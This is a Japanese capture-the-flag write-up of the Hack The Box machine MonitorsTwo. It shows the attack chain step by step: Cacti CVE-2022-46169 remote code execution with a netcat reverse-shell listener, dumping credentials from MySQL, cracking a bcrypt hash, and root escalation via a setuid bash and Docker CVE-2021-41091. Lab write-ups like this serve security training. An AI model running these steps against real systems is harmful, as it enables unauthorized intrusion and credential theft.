HTB_MonitorsTwo - meruneru/tech_memo GitHub Wiki
OS: Linux
Cactiの脆弱性をついて、docker内部のシェルをゲット。
MYSQLを実行して、ユーザー名をゲットする。 パスワードはjohn the ripperで解析する。
SSHでログインすると、メールでdockerに関する脆弱性があることがわかる。 その内容は、docker内部で設定した権限が、ホスト側でも適用されてしまうという。
docker内部でlinpeas.shで調べた結果、capshでbashにsetuid bitを立てることができた。
あとは、ホスト側でexp.shを叩いて、root権限を取れた。
22, 80 が開いている。
lqq(kali?kali)-[~/htb/MonitorsTwo]
mq$ nmap -sV -sC -Pn -p- --min-rate 5000 -oN nmap.txt monitorstwo.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-08-11 07:48 EDT
Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 98.94% done; ETC: 07:50 (0:00:01 remaining)
Nmap scan report for monitorstwo.htb (10.10.11.211)
Host is up (0.27s latency).
Not shown: 64780 filtered ports, 753 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
アクセスしてみると、Cactiというサービスのログイン画面になっている。
SQLiを試すが駄目だった。
Cacti Version 1.2.22とのことで、調べてみると下記が見つかった RCEできるみたいだ。
ariyaadinatha/cacti-CVE-2022-46169-exploit: これはCVE-2022-46169認証バイパスとリモートコード実行のpocです (github.com)
ローカルマシン側で #netcat でリッスンさせる。
//ローカルマシン
$ nc -lnvp 443
ariyaadinatha/cacti-CVE-2022-46169-exploit: これはCVE-2022-46169認証バイパスとリモートコード実行のpocです (github.com)
上記を実行して、シェルが取れた。
www-data@50bca5e748b0:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@50bca5e748b0:/$ sudo -l
sudo -l
bash: sudo: command not found
www-data@50bca5e748b0:/$ env
env
HOSTNAME=50bca5e748b0
PHP_VERSION=7.4.33
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/
APACHE_LOG_DIR=/var/log/apache2
LANG=C
PHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xz
APACHE_RUN_GROUP=www-data
www-data@50bca5e748b0:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
python3 -c'import pty;pty.spawn("/bin/bash")'
ただ、ホームディレクトリにはフラグは見当たらない。
変なスクリプトがあった。 mysqlのadmin, passwordはrootか?
www-data@50bca5e748b0:/$ cat entrypoint.sh
cat entrypoint.sh
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
mysqlを叩けるみたいだ。
https://linuxize.com/post/show-tables-in-mysql-database/ show tables;でテーブル一覧を取得してみる。 user_auth というテーブルがあるみたい。
bash-5.1$ mysql --host=db --user=root --password=root cacti -e "show tables;"
...
user_auth
user_auth_cache
user_auth_group
user_auth_group_members
user_auth_group_perms
user_auth_group_realm
user_auth_perms
user_auth_realm
user_domains
user_domains_ldap
user_log
vdef
vdef_items
version
出力結果が崩れているが、3ユーザーのデータが見つかった。
admin "$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC" guest "43e9a4ab75570f5b" marcus "$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C"
bash-5.1$ mysql --host=db --user=root --password=root cacti -e "select * from user_auth;"
<--password=root cacti -e "select * from user_auth;"
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson [email protected] on on on on on 2 1 1 1 1on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 00
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune [email protected] on on on on 1 1 1 1 1on -1 -1 on 0 0 2135691668
bash-5.1$
パスワードハッシュを解読するため、john the ripperをつかう。 ChatGPTにこのハッシュについて聞いてみると、先頭文字列はbcrypt algorithmであることを示しているとのこと。
$2y$: This indicates that the hash is using the bcrypt algorithm with the "$2y$" version
rockyouのキーワードリストで、funkymonkeyがパスワードであることがわかった。
┌──(kali㉿kali)-[~/htb/MonitorsTwo]
└─$ cat marcus_pass_hash.txt
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
┌──(kali㉿kali)-[~/htb/MonitorsTwo]
└─$ john marcus_pass_hash.txt --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou-75.txt --format=bcrypt
funkymonkey (?)
SSHでmarcusにアクセスできた。
┌──(kali㉿kali)-[~/htb/MonitorsTwo]
└─$ ssh monitorstwo.htb -l marcus
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
...
You have mail.
Last login: Fri Aug 11 23:45:41 2023 from 10.10.14.8
marcus@monitorstwo:~$ cat user.txt
メールがあるみたい。 このシステムの脆弱性に関するメールみたいだ。
CVE-2021-41091は、DockerのMobyというソフトの脆弱性で、権限が無くてもディレクトリの閲覧や実行ができるようだ。
marcus@monitorstwo:~$ cat /var/mail/marcus
...
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO
and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to wri
te arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerabilit
y.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to im
proper escaping of error messages during template import previews in the xml_path field. This could all
ow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensiti
ve data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerabi
lity.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software
containerization. Attackers could exploit this vulnerability by traversing directory contents and execu
ting programs on the data directory with insufficiently restricted permissions. The bug has been fixed
in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. P
lease note that running containers should be stopped and restarted for the permissions to be fixed.
...
2.10.9で不具合は修正されたとのことなので、刺さるはず。 https://github.com/UncleJ4ck/CVE-2021-41091
Cactiサービスは、docker上で動作している。 docker上で動いているコンテナ内のbashのsetuid bitを立てて、 ホスト側でexp.shを実行することで、権限昇格ができる。
marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
www-dataにて、権限昇格のための情報を収集する #LinPEAS github を実行する。
capshが強調表示されている。capshをChatGPTに聞いてみる capshでsetuid bitを立てることができる。
!./assets/Pasted image 20230812091135.png
GTFOBinsを見ると、capshについてのページがあった。
HackTricks Linux Capabilities にも詳細な情報が色々書いている。
コンテナ内で下記を実行する。
chmod u+s /usr/bin/bash
sshで下記を実行することで、root権限のbashが使える
marcus@monitorstwo:~$ ./exp.sh
marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p